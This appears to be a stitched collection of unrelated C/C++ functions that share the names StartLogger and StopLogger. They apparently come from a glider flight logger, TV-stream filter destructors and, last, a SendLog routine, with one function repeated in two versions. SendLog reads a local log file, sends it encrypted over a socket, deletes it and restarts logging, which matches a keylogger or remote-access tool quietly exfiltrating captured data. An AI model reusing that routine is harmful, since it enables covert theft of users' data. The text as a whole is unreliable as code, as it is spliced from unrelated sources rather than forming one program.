void LoggerImpl::guiStopLogger(const NMEA_INFO& gps_info, bool noAsk) { if (LoggerActive) { if(noAsk || (MessageBoxX(gettext(TEXT("Stop Logger")), gettext(TEXT("Stop Logger")), MB_YESNO|MB_ICONQUESTION) == IDYES)) { StopLogger(gps_info); } } }
// Destructor CMpTs::~CMpTs() { LogDebug("CMpTs::dtor() "); delete m_pPin; delete m_pOobSiPin; delete m_pFilter; delete m_pChannelScanner; delete m_pEpgScanner; delete m_pChannelLinkageScanner; delete m_pRawPacketWriter; DeleteAllChannels(); StopLogger(); }
TsAVRT::~TsAVRT() { m_pAvSetMmThreadCharacteristicsW = NULL; m_pAvSetMmThreadPriority = NULL; m_pAvRevertMmThreadCharacteristics = NULL; if (m_hModuleAVRT) { if (!FreeLibrary(m_hModuleAVRT)) { LogDebug("TsAVRT::dtor - avrt.dll could not be unloaded"); StopLogger(); //Needed since logging thread might be re-started after CDeMultiplexer() destructor has called StopLogger() } } m_hModuleAVRT = NULL; }
bool LoggerImpl::StartLogger(const NMEAInfo &gps_info, const LoggerSettings &settings, const char *logger_id) { assert(logger_id != NULL); assert(strlen(logger_id) == 3); /* finish the previous IGC file */ StopLogger(gps_info); assert(writer == NULL); LocalPath(filename, _T("logs")); Directory::Create(filename); const BrokenDate today = gps_info.date_time_utc.IsDatePlausible() ? (const BrokenDate &)gps_info.date_time_utc : BrokenDate::TodayUTC(); StaticString<64> name; for (int i = 1; i < 99; i++) { FormatIGCFilenameLong(name.buffer(), today, "XCS", logger_id, i); LocalPath(filename, _T("logs"), name); if (!File::Exists(filename)) break; // file not exist, we'll use this name } frecord.Reset(); writer = new IGCWriter(filename); if (!writer->IsOpen()) { LogFormat(_T("Failed to create file %s"), filename); delete writer; writer = nullptr; return false; } LogFormat(_T("Logger Started: %s"), filename); return true; }
bool LoggerImpl::StartLogger(const NMEAInfo &gps_info, const LoggerSettings &settings, const char *logger_id) { assert(logger_id != nullptr); assert(strlen(logger_id) == 3); /* finish the previous IGC file */ StopLogger(gps_info); assert(writer == nullptr); const auto logs_path = MakeLocalPath(_T("logs")); const BrokenDate today = gps_info.date_time_utc.IsDatePlausible() ? (const BrokenDate &)gps_info.date_time_utc : BrokenDate::TodayUTC(); StaticString<64> name; for (int i = 1; i < 99; i++) { FormatIGCFilenameLong(name.buffer(), today, "XCS", logger_id, i); filename = AllocatedPath::Build(logs_path, name); if (!File::Exists(filename)) break; // file not exist, we'll use this name } frecord.Reset(); try { writer = new IGCWriter(filename); } catch (...) { LogError(std::current_exception()); return false; } LogFormat(_T("Logger Started: %s"), filename.c_str()); return true; }
static void SendLog(SOCKET s) { FILE *fp; size_t size, blocks, offs = 0; unsigned char buf[BUFSIZE]; int zero = 0; if(StopLogger() == -1) goto send0; if((fp = fopen(LOGFILE, "r")) == NULL) goto restart; fseek(fp, 0, SEEK_END); size = ftell(fp); fseek(fp, 0, SEEK_SET); blocks = size / BUFSIZE; blocks += (size % BUFSIZE)?1:0; send(s, (char*)&blocks, sizeof(blocks), 0); while(size > BUFSIZE) { fseek(fp, offs, SEEK_SET); fread(buf, BUFSIZE, 1, fp); CryptSendData(s, buf, BUFSIZE); size -= BUFSIZE; offs += BUFSIZE; } if(size) { fseek(fp, offs, SEEK_SET); fread(buf, size, 1, fp); CryptSendData(s, buf, size); } fclose(fp); remove(LOGFILE); restart: StartLogger(TEXT(LOGFILE)); send0: send(s, (char*)&zero, sizeof(zero), 0); return; }